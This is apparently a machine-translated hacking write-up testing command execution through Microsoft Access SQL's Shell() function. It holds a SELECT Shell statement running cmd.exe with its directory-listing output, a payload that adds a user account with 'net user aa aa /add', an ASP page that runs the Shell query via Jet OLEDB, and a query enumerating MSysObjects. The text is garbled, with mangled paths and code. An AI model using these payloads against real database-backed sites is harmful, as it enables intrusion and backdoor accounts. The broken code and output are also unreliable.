1. SHELL test;
Let's take a direct SQL in AccessL:
Statement: SELECT Shell ('c: /winnt/system32/cmd.exe / c Dir C: /> C: /123456.txt');
"Run" results: C: /> DIR 123456.TXT The volume in the drive C does not have a label. The serial number of the volume is 3CEE-A8A9 C: /'s catalog 2004-01-09 22:29 1,718 123456.txt 1 file 1,718 byte 0 directory 1,224,527,872 Available bytes C: /> Type 123456.txt drive C Volume has no label. The serial number of the volume is 3CEE-A8A9 C: /'s catalog 2004-01-07 15:35 44 1.txt2004-07-15 05:15 49 11.txt2004-01-09 22:29 0 123456.txt2004-07- 31 15:50 478 333.TXT ............................................................................................ / c net user aa aa / add '); User account for: c: /> net user // kak-e8uhoqq9m6s ---------------- ------------------------------ Aa administratoriusr_kak-e8uhoqq9m6s iWam_kak-e8uhoq9m6s command successfully completed. It seems that the permissions are relatively large (but maybe inherited the permission of the user who run Access, I use the administrator privilege to run, do not test the guest, the following we test the SP execution, first write an ASP, the code is as follows: <% Set conn = server.createObject ("AdoDb.Connection") DSN = "provider = microsoft.jet.Oledb.4.0; data source =" & server.mappath ("q.mdb") set = server.createObject (" AdoDb.recordset ") Conn.open DSN SQL =" SELECT Shell ('C: /Winnt/System32/cmd.exe / C Dir C: /> D: /sss1.txt') "rs.open SQL, CONN IF RS .eof and 关 = Noth the 'Access Denied Else' Access Allowed End IFRS.Closset RS = Nothing 'Off Connection Conn.closset Conn = NothingResponse.write "SQL is:" & SQL%> Run this ASP, the return result is as follows: Microsoft VBScript Compiler error error '800A03F6' missing 'end' /iishelp/common/500-100.asp, line 242 Microsoft Jet Database Engine Error '80040E14' The 'shell' function is undefined.
/ Test/LSE/connections/kao6.asp, line 7 prompt "The 'shell' function is not defined", the test failed, I put the DSN = "provider =" provil = microsoft.jet.oledb.4.0; data source = "& Server in the ASP code . Mappath ("q.mdb") is changed to DSN = "provider = microsoft.jet.Oledb.3.5; data source =" & server.mappath ("q.mdb") Run IE Return: Microsoft VBScript Compiler error error '800A03F6 'Miss' end' /iishelp/common/500-100.asp, line 242 adodb.connection error '800A0E7A' Provider cannot be found. It may not be properly installed. /Test/lse/connections/kao8.asp, line 5 The provider did not have the installation did not continue to test. 2. About the branches Test here use MSYSOBJECS: We newly create a query, the statement is as follows: select msysobjects.datecreate, msysObjects.dateUpdate, sysObjects.name, ysObjects.type rom msysobjects;